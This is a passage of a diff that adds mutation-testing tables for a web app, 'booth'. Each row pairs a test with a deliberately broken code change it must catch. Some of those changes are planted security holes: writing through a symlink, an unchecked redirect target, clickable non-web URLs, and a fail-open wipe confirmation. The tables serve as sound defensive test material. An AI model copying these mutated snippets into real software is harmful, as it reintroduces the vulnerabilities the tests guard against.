raise BlurUnwritable(f"{path.name} in {booth.name!r} is not a readable file of sane size")'''
|
||||
new = '''
|
||||
return set()'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a malformed set reads as empty for the writer"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_a_malformed_blur_file_is_never_overwritten"
|
||||
old = '''
|
||||
raise BlurUnwritable(f"{BLUR_FILE} in {booth.name!r} is not JSON") from exc'''
|
||||
new = '''
|
||||
return set()'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the set is written 0600 (mkstemp's default)"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_the_blur_file_is_world_readable_as_it_always_was"
|
||||
old = '''
|
||||
os.fchmod(fd, 0o644)'''
|
||||
new = '''
|
||||
pass'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a link or a FIFO at the name blocks the writer instead of reading as no set"
|
||||
file = "booth/blur.py"
|
||||
test = "tests/test_blur.py::test_a_write_replaces_a_planted_symlink_rather_than_writing_through_it"
|
||||
old = '''
|
||||
if not stat.S_ISREG(st.st_mode):
|
||||
return set()'''
|
||||
new = '''
|
||||
pass'''
|
||||
@@ -0,0 +1,224 @@
|
||||
# R2 — the review flow: falsifiers the round claims, and the change each forbids.
|
||||
#
|
||||
# Every row was proved RED under its mutation in the session that wrote it,
|
||||
# then committed here so the proof is an artifact rather than scrollback. The
|
||||
# browser rows need the Playwright Chromium the browser tests already use.
|
||||
#
|
||||
# Deliberately ABSENT: single guards inside a defence in depth, each of which
|
||||
# stays green when removed alone because another layer still holds — so a row
|
||||
# for any one of them would be a vacuous proof, and this table's own first run
|
||||
# said so. `.seen`'s O_NOFOLLOW, O_NONBLOCK and S_ISREG (the FIFO/symlink test
|
||||
# covers them together); and `flagged_targets`' `error is None`, since
|
||||
# hydration already strips the target from a damaged mark.
|
||||
#
|
||||
# RETIRED (r2c S3, 2026-09-23): the row on the next arrow's 360px rail offset —
|
||||
# the arrows now sit at the drawn picture, clamped inside the stage; the test was
|
||||
# replaced as declared in r2c's contract, and its successors are in r2c.toml.
|
||||
#
|
||||
# RETIRED (r2b D1, 2026-09-23): four rows proving the facts-line row controls
|
||||
# (visible at rest, compact, on the facts line) — the operator ruled those
|
||||
# controls hover-revealed over the preview strip, and their tests were replaced
|
||||
# as declared in r2b's contract. Their successors are in r2b.toml.
|
||||
#
|
||||
# The serialization row is only a falsifier because its test HOLDS the first
|
||||
# refresh in the client: localhost alone never lost the race, and the first
|
||||
# draft of that test stayed green with serialization deleted.
|
||||
|
||||
unit = "the Desk, the lightbox, the review, and the in-place client"
|
||||
|
||||
[[mutation]]
|
||||
label = 'C1 ordinals count from 0, not 1'
|
||||
file = "booth/items.py"
|
||||
test = "tests/test_flow.py::test_a_filtered_tile_keeps_its_number_in_the_whole_set"
|
||||
old = '''ordinal=len(items) + 1,'''
|
||||
new = '''ordinal=len(items),'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C2 .seen: a nested-too-deep marker escapes the never-raises read'
|
||||
file = "booth/items.py"
|
||||
test = "tests/test_flow.py::test_a_deeply_nested_seen_marker_reads_as_nothing_seen"
|
||||
old = '''except (UnicodeDecodeError, ValueError, RecursionError):'''
|
||||
new = '''except (UnicodeDecodeError, ValueError):'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C3 a non-finite q is accepted as a q-value'
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_a_non_finite_q_is_malformed"
|
||||
old = ''' raise ValueError("non-finite q")'''
|
||||
new = ''' pass'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C3 204 on an explicit JSON Accept becomes the 303'
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_an_explicit_json_accept_gets_204_and_the_write_still_lands"
|
||||
old = ''' return Response(status_code=204)'''
|
||||
new = ''' pass'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C3 back=view lands on the review for a doc too (ring check dropped)'
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_back_view_lands_on_the_review_only_for_a_media_item"
|
||||
old = ''' if f in ring:'''
|
||||
new = ''' if True:'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C4 the Desk counts orphan flags'
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_a_flag_on_a_file_that_is_gone_stays_visible_and_withdrawable"
|
||||
old = '''"flags": len(flagged_targets(marks) & {it.rel for it in items}),'''
|
||||
new = '''"flags": len(flagged_targets(marks)),'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C4 landed_at follows symlinks'
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_the_content_clock_reads_the_booth_not_what_its_links_point_at"
|
||||
old = ''' st = p.lstat()'''
|
||||
new = ''' st = p.stat()'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C4 one unreadable entry reads the whole booth as landed NOW'
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_one_unreadable_entry_costs_that_entry_not_the_booth"
|
||||
old = '''pin it in "new" forever.
|
||||
continue'''
|
||||
new = '''pin it in "new" forever.
|
||||
return time.time()'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C4 a non-web bookmark URL becomes a link'
|
||||
file = "booth/templates/index.html"
|
||||
test = "tests/test_flow.py::test_the_desk_never_makes_a_non_web_url_clickable"
|
||||
old = '''{% set web = e.url.lower().startswith(('http://', 'https://')) %}'''
|
||||
new = '''{% set web = true %}'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C4 a non-web bench URL becomes a link'
|
||||
file = "booth/templates/index.html"
|
||||
test = "tests/test_flow.py::test_the_desk_never_makes_a_non_web_url_clickable"
|
||||
old = '''{% set web = b.url.lower().startswith(('http://', 'https://')) %}'''
|
||||
new = '''{% set web = true %}'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C5 audio/video tiles lose their review link'
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_flow.py::test_a_sound_only_booth_can_open_the_review"
|
||||
old = '''{% if it.kind in ('video', 'audio') %}<a class="rv-link"'''
|
||||
new = '''{% if false %}<a class="rv-link"'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C6 a NUL in ?f escapes as a 500'
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_a_nul_in_the_review_path_is_a_404_not_a_500"
|
||||
old = ''' except (OSError, ValueError):
|
||||
# ValueError: an embedded NUL.'''
|
||||
new = ''' except OSError:
|
||||
# ValueError: an embedded NUL.'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C3 client: no busy guard (a double-click writes twice)'
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_an_unsaved_choice_survives_a_save_elsewhere_and_a_double_click_writes_once"
|
||||
old = ''' if (form.__busy) return;
|
||||
'''
|
||||
new = ''''''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C3 client: an unsent radio is not carried across a swap'
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_an_unsaved_choice_survives_a_save_elsewhere_and_a_double_click_writes_once"
|
||||
old = ''' if (el.checked !== el.defaultChecked) t.checked = el.checked;'''
|
||||
new = ''''''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C3 client: saves are not serialized'
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_quick_successive_flags_all_show"
|
||||
old = ''' queue = queue.then(function () { return run(form, data); })'''
|
||||
new = ''' queue = run(form, data)'''
|
||||
|
||||
[[mutation]]
|
||||
label = 'C3 the standalone marks page has no region'
|
||||
file = "booth/templates/marks.html"
|
||||
test = "tests/test_flow_browser.py::test_the_standalone_marks_page_updates_in_place"
|
||||
old = '''<div class="marks-panel" data-region="marks-panel">'''
|
||||
new = '''<div class="marks-panel">'''
|
||||
|
||||
[[mutation]]
|
||||
label = "resolver: an entry that cannot be stat'd raises out of booth_items"
|
||||
file = "booth/items.py"
|
||||
test = "tests/test_items.py::test_a_folder_that_lists_but_cannot_be_searched_costs_its_files_not_the_index"
|
||||
old = '''
|
||||
if not p.is_file():
|
||||
continue
|
||||
except OSError:
|
||||
continue'''
|
||||
new = '''
|
||||
if not p.is_file():
|
||||
continue
|
||||
except FileNotFoundError:
|
||||
continue'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the stacked Desk column is a bare 1fr (content sets its minimum)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_desk_never_scrolls_sideways_at_any_width"
|
||||
old = '''
|
||||
@media (max-width:1000px){.desk{grid-template-columns:minmax(0,1fr)}}'''
|
||||
new = '''
|
||||
@media (max-width:1000px){.desk{grid-template-columns:1fr}}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a long unbreakable install path in <code> scrolls the page sideways"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_desk_never_scrolls_sideways_at_any_width"
|
||||
old = '''
|
||||
padding:1px 6px;border-radius:var(--radius-sm);border:1px solid var(--border-subtle);overflow-wrap:anywhere}'''
|
||||
new = '''
|
||||
padding:1px 6px;border-radius:var(--radius-sm);border:1px solid var(--border-subtle)}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the row's text column cannot shrink (the 700-1000px window overflows)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_desk_never_scrolls_sideways_at_any_width"
|
||||
old = '''
|
||||
.desk-main{flex:1 1 auto;min-width:0}'''
|
||||
new = '''
|
||||
.desk-main{flex:1 1 auto}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the wipe dialog shows the agent-made name raw (bidi, newline)"
|
||||
file = "booth/templates/index.html"
|
||||
test = "tests/test_flow_browser.py::test_the_wipe_dialog_shows_what_is_being_wiped_and_never_fails_open"
|
||||
old = '''
|
||||
if (!confirm(word(shown(form.getAttribute('data-booth') || '')))) ev.preventDefault();'''
|
||||
new = '''
|
||||
if (!confirm(word(form.getAttribute('data-booth') || ''))) ev.preventDefault();'''
|
||||
|
||||
[[mutation]]
|
||||
label = "an unknown data-confirm word submits with no prompt (fail open)"
|
||||
file = "booth/templates/index.html"
|
||||
test = "tests/test_flow_browser.py::test_the_wipe_dialog_shows_what_is_being_wiped_and_never_fails_open"
|
||||
old = '''
|
||||
var word = WORDS[form.getAttribute('data-confirm')] || ASK;
|
||||
if (!confirm('''
|
||||
new = '''
|
||||
var word = WORDS[form.getAttribute('data-confirm')];
|
||||
if (word && !confirm('''
|
||||
|
||||
[[mutation]]
|
||||
label = "everything else in activity order again (a look moves a booth up)"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_everything_else_is_ordered_by_last_update_not_by_looking"
|
||||
old = '''
|
||||
rest.sort(key=lambda b: (-b["landed_at"], b["name"]))'''
|
||||
new = '''
|
||||
pass'''
|
||||
|
||||
[[mutation]]
|
||||
label = "everything else breaks an update tie by name reversed"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_everything_else_breaks_an_update_tie_by_name"
|
||||
old = '''
|
||||
rest.sort(key=lambda b: (-b["landed_at"], b["name"]))'''
|
||||
new = '''
|
||||
rest.sort(key=lambda b: (b["landed_at"], b["name"]), reverse=True)'''
|
||||
@@ -0,0 +1,560 @@
|
||||
# R2b — the Desk row, Reveal all, the theme toggle: every falsifier the
|
||||
# contract claims (docs/contracts/r2b_desk_reveal_theme.contract.md), and the
|
||||
# change each forbids. Merge 1 is D2 + D2b (the blur half); merge 2 adds D1 + D3.
|
||||
|
||||
unit = "reveal all, the booth blur toggle (merge 1)"
|
||||
|
||||
[[mutation]]
|
||||
label = "D2 reveal all does not lift the tile's blur"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_reveal_all_reveals_every_blurred_surface_and_survives_the_next_page"
|
||||
old = '''
|
||||
.reveal-all .item.blurred img,.reveal-all .item.blurred video,'''
|
||||
new = '''
|
||||
.reveal-all-OFF .item.blurred img,.reveal-all .item.blurred video,'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2 no pre-paint re-application: the next page of the reel is blurred again"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_reveal_all_reveals_every_blurred_surface_and_survives_the_next_page"
|
||||
old = '''
|
||||
if (b !== null && sessionStorage.getItem('booth.reveal:' + b) === '1') d.classList.add('reveal-all');'''
|
||||
new = '''
|
||||
if (false) d.classList.add('reveal-all');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2 the reveal is not scoped to the booth (any reveal in the tab reveals every booth)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_reveal_all_on_booth_a_does_not_reveal_booth_b_or_the_desk"
|
||||
old = '''
|
||||
if (b !== null && sessionStorage.getItem('booth.reveal:' + b) === '1') d.classList.add('reveal-all');'''
|
||||
new = '''
|
||||
if (b !== null && sessionStorage.length > 0) d.classList.add('reveal-all');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2 per-tile reveal buttons do not stand down under reveal all"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_reveal_all_survives_an_in_place_save"
|
||||
old = '''
|
||||
.reveal-all .item.blurred .reveal,.reveal-all #vreveal{display:none}'''
|
||||
new = '''
|
||||
.reveal-all-OFF .item.blurred .reveal,.reveal-all #vreveal{display:none}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2 blur again wipes each item's own reveal"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_blur_again_restores_each_items_own_reveal"
|
||||
old = '''
|
||||
var on = d.classList.toggle('reveal-all');
|
||||
try {'''
|
||||
new = '''
|
||||
var on = d.classList.toggle('reveal-all');
|
||||
document.querySelectorAll('.item.revealed').forEach(function (i) { i.classList.remove('revealed'); });
|
||||
try {'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2 a storage write that throws swallows the click"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_reveal_all_never_shows_without_js_and_a_storage_failure_still_applies_the_click"
|
||||
old = '''
|
||||
var on = d.classList.toggle('reveal-all');
|
||||
try {'''
|
||||
new = '''
|
||||
sessionStorage.setItem(key, '1');
|
||||
var on = d.classList.toggle('reveal-all');
|
||||
try {'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2 the control shows without JS (server markup not hidden)"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_flow_browser.py::test_reveal_all_never_shows_without_js_and_a_storage_failure_still_applies_the_click"
|
||||
old = '''
|
||||
{% if all_items | selectattr('blurred') | list %}<button type="button" class="reveal-all-btn" data-reveal-all hidden title='''
|
||||
new = '''
|
||||
{% if all_items | selectattr('blurred') | list %}<button type="button" class="reveal-all-btn" data-reveal-all title='''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2 the control is markup even when nothing is blurred"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_flow.py::test_reveal_all_is_in_the_markup_only_when_something_is_blurred_and_always_hidden"
|
||||
old = '''
|
||||
{% if all_items | selectattr('blurred') | list %}<button'''
|
||||
new = '''
|
||||
{% if true %}<button'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2 the review page does not carry data-booth"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow.py::test_reveal_all_is_in_the_markup_only_when_something_is_blurred_and_always_hidden"
|
||||
old = '''
|
||||
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}'''
|
||||
new = '''
|
||||
{% block html_attrs %}{% endblock %}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2b the header control's label does not follow the server's fog state"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_flow.py::test_the_booth_blur_toggle_works_without_js_and_lands_back_on_the_review"
|
||||
old = '''
|
||||
<input type="hidden" name="on" value="{{ '0' if booth_blurred else '1' }}">
|
||||
<button title="{{ 'un-blur the whole booth'''
|
||||
new = '''
|
||||
<input type="hidden" name="on" value="1">
|
||||
<button title="{{ 'un-blur the whole booth'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2b the review's control drops `back` (fogging ejects you from the review)"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow.py::test_the_booth_blur_toggle_works_without_js_and_lands_back_on_the_review"
|
||||
old = '''
|
||||
<input type="hidden" name="back" value="{{ file }}">'''
|
||||
new = '''
|
||||
'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2b the Desk row does not say a booth is fogged"
|
||||
file = "booth/templates/index.html"
|
||||
test = "tests/test_flow.py::test_the_booth_blur_toggle_works_without_js_and_lands_back_on_the_review"
|
||||
old = '''
|
||||
{% if b.booth_blurred %}<span class="badge badge-blur"'''
|
||||
new = '''
|
||||
{% if false %}<span class="badge badge-blur"'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2b an item blurred only by the booth offers a per-item un-blur that does nothing"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_flow.py::test_under_a_fogged_booth_each_items_blur_control_tells_the_truth"
|
||||
old = '''
|
||||
{% if it.blurred and not it.blurred_self %}'''
|
||||
new = '''
|
||||
{% if false %}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D2b the per-item control reads the composed blur, not the item's own"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_under_a_fogged_booth_each_items_blur_control_tells_the_truth"
|
||||
old = '''
|
||||
"blurred_self": it.blurred_self,'''
|
||||
new = '''
|
||||
"blurred_self": it.blurred,'''
|
||||
|
||||
# ---- folds: the heid code-review ("BLITZ-2") and bug-hunt ("FENRIR-6") panels on merge 1
|
||||
|
||||
[[mutation]]
|
||||
label = "a board holding files loses the blur controls its labels point at"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_flow.py::test_a_board_with_files_gets_the_blur_controls_its_labels_point_at"
|
||||
old = '''
|
||||
{% if all_items %}
|
||||
{# The fog form IS a region'''
|
||||
new = '''
|
||||
{% if not board %}
|
||||
{# The fog form IS a region'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a blurred doc's own page renders clear"
|
||||
file = "booth/templates/doc.html"
|
||||
test = "tests/test_flow.py::test_a_blurred_docs_own_page_is_blurred_too"
|
||||
old = '''
|
||||
<div class="docbody{% if blurred %} is-blurred{% endif %}" id="docbody">'''
|
||||
new = '''
|
||||
<div class="docbody" id="docbody">'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the review offers Reveal all when only a doc (off the ring) is blurred"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow.py::test_reveal_all_renders_where_it_can_act"
|
||||
old = '''
|
||||
{% if film | selectattr('blurred') | list %}<button'''
|
||||
new = '''
|
||||
{% if true %}<button'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the fog form is a GET (changes nothing with scripts off)"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_flow.py::test_the_booth_blur_toggle_works_without_js_and_lands_back_on_the_review"
|
||||
old = '''<form class="blur-all{% if booth_blurred %} is-on{% endif %}" method="post" action="/b/{{ name_url }}/blurbooth">
|
||||
<input type="hidden" name="on" value="{{ '0' if booth_blurred else '1' }}">
|
||||
<button title="{{ 'un-blur the whole booth — per-item'''
|
||||
new = '''<form class="blur-all{% if booth_blurred %} is-on{% endif %}" method="get" action="/b/{{ name_url }}/blurbooth">
|
||||
<input type="hidden" name="on" value="{{ '0' if booth_blurred else '1' }}">
|
||||
<button title="{{ 'un-blur the whole booth — per-item'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the swap stops carrying an item's own reveal"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_an_items_own_reveal_survives_an_in_place_save"
|
||||
old = '''
|
||||
['revealed', 'is-closed'].forEach(function (c) {'''
|
||||
new = '''
|
||||
['is-closed'].forEach(function (c) {'''
|
||||
|
||||
[[mutation]]
|
||||
label = "a storage READ that throws raises out of the pre-paint script"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_reveal_all_never_shows_without_js_and_a_storage_failure_still_applies_the_click"
|
||||
old = '''
|
||||
try {
|
||||
if (b !== null && sessionStorage.getItem('booth.reveal:' + b) === '1') d.classList.add('reveal-all');
|
||||
} catch (e) {}'''
|
||||
new = '''
|
||||
if (b !== null && sessionStorage.getItem('booth.reveal:' + b) === '1') d.classList.add('reveal-all');'''
|
||||
|
||||
[[mutation]]
|
||||
label = "fogging writes through a planted marker link"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_fogging_never_writes_through_a_planted_marker_link"
|
||||
old = '''
|
||||
try:
|
||||
os.lstat(marker)
|
||||
return True
|
||||
except FileNotFoundError:
|
||||
pass
|
||||
try:
|
||||
os.close(os.open(marker, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_NOFOLLOW, 0o644))
|
||||
except FileExistsError:
|
||||
pass # lost a race to another fog: still fogged
|
||||
return True'''
|
||||
new = '''
|
||||
marker.touch(exist_ok=True)
|
||||
return True'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the fog landing echoes `back` unchecked"
|
||||
file = "booth/app.py"
|
||||
test = "tests/test_flow.py::test_the_fog_landing_is_built_from_the_ring_never_echoed"
|
||||
old = '''
|
||||
if back and back in review_chain(booth_items(booth)):'''
|
||||
new = '''
|
||||
if back:'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the fog form is outside every region (a swap leaves its label stale)"
|
||||
file = "booth/templates/booth.html"
|
||||
test = "tests/test_flow.py::test_the_booth_blur_toggle_works_without_js_and_lands_back_on_the_review"
|
||||
old = '''
|
||||
<span class="region-wrap" data-region="blur-booth"><form class="blur-all'''
|
||||
new = '''
|
||||
<span class="region-wrap"><form class="blur-all'''
|
||||
|
||||
[[mutation]]
|
||||
label = "Space on a focused review button moves to the next item"
|
||||
file = "booth/templates/view.html"
|
||||
test = "tests/test_flow_browser.py::test_space_on_a_focused_review_button_presses_it_and_does_not_move_on"
|
||||
old = '''e.target !== player && !(e.target.closest && e.target.closest('button, a, summary'))) {'''
|
||||
new = '''e.target !== player) {'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the top-bar controls squeeze into multi-line stacks at phone width"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_review_and_doc_top_bars_fit_a_phone"
|
||||
# r3 re-anchored this row. r3 added a Compare control to the review's bar and
|
||||
# made a full bar WRAP at phone width (a fogged booth already overflowed it by
|
||||
# 3px at 390). A wrapping bar never squeezes, so removing the no-wrap rules
|
||||
# alone went VACUOUS: the property is now held by both. The defeating change is
|
||||
# losing both; r3.toml rows the wrap on its own.
|
||||
old = '''
|
||||
.blur-all button,.reveal-all-btn{white-space:nowrap}
|
||||
@media (max-width:600px){.reveal-all-btn .ra-note{display:none}}
|
||||
/* R3: the review's Compare control keeps only its glyph at phone width; its
|
||||
title still says what it does (and C does it). */
|
||||
@media (max-width:600px){.vcompare-l{display:none}}
|
||||
/* ...and at phone width a top bar that cannot hold its controls WRAPS rather
|
||||
than scrolling the page sideways. The review's bar was full before R3 (a
|
||||
fogged booth overflowed it by 3px at 390); compare's bar holds more. */
|
||||
@media (max-width:600px){.vbar{flex-wrap:wrap;row-gap:6px}}'''
|
||||
new = '''
|
||||
@media (max-width:600px){.vcompare-l{display:none}}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the Desk strip under another booth's reveal is lifted by a whisker (blur(0px) is not blurred)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_reveal_all_on_booth_a_does_not_reveal_booth_b_or_the_desk"
|
||||
old = '''
|
||||
.blurred-thumb{filter:blur(16px)}'''
|
||||
new = '''
|
||||
.blurred-thumb{filter:blur(0px)}'''
|
||||
|
||||
# ---- the flake: the test browser has no internet (positive control per file)
|
||||
|
||||
[[mutation]]
|
||||
label = "the flow test browser can reach the internet (Google Fonts can stall networkidle)"
|
||||
file = "tests/test_flow_browser.py"
|
||||
test = "tests/test_flow_browser.py::test_the_test_browser_has_no_internet"
|
||||
old = '''
|
||||
b = pw.chromium.launch(args=OFFLINE)'''
|
||||
new = '''
|
||||
b = pw.chromium.launch()'''
|
||||
|
||||
[[mutation]]
|
||||
label = "the embed test browser can reach the internet"
|
||||
file = "tests/test_embed_browser.py"
|
||||
test = "tests/test_embed_browser.py::test_the_test_browser_has_no_internet"
|
||||
old = '''
|
||||
b = pw.chromium.launch(args=OFFLINE)'''
|
||||
new = '''
|
||||
b = pw.chromium.launch()'''
|
||||
|
||||
# ---- merge 2: D1 the Desk row, D1b dates, D3 the theme toggle
|
||||
# Successors to the four r2_flow rows retired for D1. One branch is proved by
|
||||
# reading, not here: a true touch LAPTOP (fine pointer + a coarse one) cannot be
|
||||
# emulated — Chromium's touch emulation makes the primary pointer coarse.
|
||||
|
||||
[[mutation]]
|
||||
label = "D1 the cluster is visible at rest"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_row_controls_take_no_room_where_a_hover_exists"
|
||||
old = '''
|
||||
opacity:0;pointer-events:none;transition:opacity var(--dur-1) var(--ease-out)}'''
|
||||
new = '''
|
||||
opacity:1;pointer-events:none;transition:opacity var(--dur-1) var(--ease-out)}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D1 hover shows the cluster but leaves it unclickable"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_row_controls_take_no_room_where_a_hover_exists"
|
||||
old = '''
|
||||
.desk-row:hover .desk-acts,.desk-row:focus-within .desk-acts{opacity:1;pointer-events:auto}'''
|
||||
new = '''
|
||||
.desk-row:hover .desk-acts,.desk-row:focus-within .desk-acts{opacity:1}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D1 the cluster stays in flow where a hover exists (it takes room)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_row_controls_take_no_room_where_a_hover_exists"
|
||||
old = '''
|
||||
.desk-acts{position:absolute;top:17px;left:calc(12px + 210px - 5px);transform:translateX(-100%);flex:none;gap:4px;padding:3px;'''
|
||||
new = '''
|
||||
.desk-acts{position:static;top:17px;left:calc(12px + 210px - 5px);transform:translateX(-100%);flex:none;gap:4px;padding:3px;'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D1 hover-only everywhere (no controls at all on touch)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_on_touch_the_row_controls_are_visible_in_flow_and_at_least_28px"
|
||||
old = '''
|
||||
.desk-acts{flex:1 0 100%;display:flex;flex-wrap:wrap;align-items:center;gap:6px}'''
|
||||
new = '''
|
||||
.desk-acts{flex:1 0 100%;display:flex;flex-wrap:wrap;align-items:center;gap:6px;opacity:0}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D1 touch controls fall below the 28px floor"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_on_touch_the_row_controls_are_visible_in_flow_and_at_least_28px"
|
||||
old = '''
|
||||
min-height:32px;min-width:32px;padding:0 10px;font-family:var(--font-mono);font-size:var(--size-caption);'''
|
||||
new = '''
|
||||
min-height:18px;min-width:18px;padding:0 10px;font-family:var(--font-mono);font-size:var(--size-caption);'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D1 zip back in the middle"
|
||||
file = "booth/templates/index.html"
|
||||
test = "tests/test_flow_browser.py::test_the_row_controls_run_zip_keep_or_release_then_wipe"
|
||||
old = '''
|
||||
<a class="dl-link" href="/b/{{ b.name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a>
|
||||
{%- if b.kept %}
|
||||
<form class="release"'''
|
||||
new = '''
|
||||
{%- if b.kept %}
|
||||
<a class="dl-link" href="/b/{{ b.name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a>
|
||||
<form class="release"'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D1 a held booth's pill reads as counting down"
|
||||
file = "booth/templates/index.html"
|
||||
test = "tests/test_flow.py::test_the_lifetime_pill_class_is_kept_held_or_counting"
|
||||
old = '''('life-held' if b.hold in ('open', 'unreadable') else 'life-count')'''
|
||||
new = '''('life-held' if b.hold == 'never' else 'life-count')'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D1b an unknown birth time renders a guess"
|
||||
file = "booth/templates/_dates.html"
|
||||
test = "tests/test_flow.py::test_created_and_updated_are_dated_facts_and_none_says_nothing"
|
||||
old = '''{% macro dates(created_at, landed_at, now) -%}'''
|
||||
new = '''{% macro dates(created_at, landed_at, now) -%}{%- set created_at = created_at or landed_at -%}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D1b updated is measured from the wrong clock"
|
||||
file = "booth/templates/_dates.html"
|
||||
test = "tests/test_flow.py::test_created_and_updated_are_dated_facts_and_none_says_nothing"
|
||||
old = '''updated {{ age|ago }}'''
|
||||
new = '''updated {{ (now - created_at)|ago }}'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D3 a stored theme is not applied at load (a reload forgets it)"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_theme_toggle_forces_light_and_dark_and_system_follows_the_os_live"
|
||||
old = '''
|
||||
if (t === 'light' || t === 'dark') d.setAttribute('data-theme', t);'''
|
||||
new = '''
|
||||
if (false) d.setAttribute('data-theme', t);'''
|
||||
|
||||
[[mutation]]
|
||||
label = "D3 System snapshots the OS instead of following it live"
|
||||
file = "booth/templates/base.html"
|
||||
test = "tests/test_flow_browser.py::test_the_theme_toggle_forces_light_and_dark_and_system_follows_the_os_live"
|
||||
old = '''
|
||||
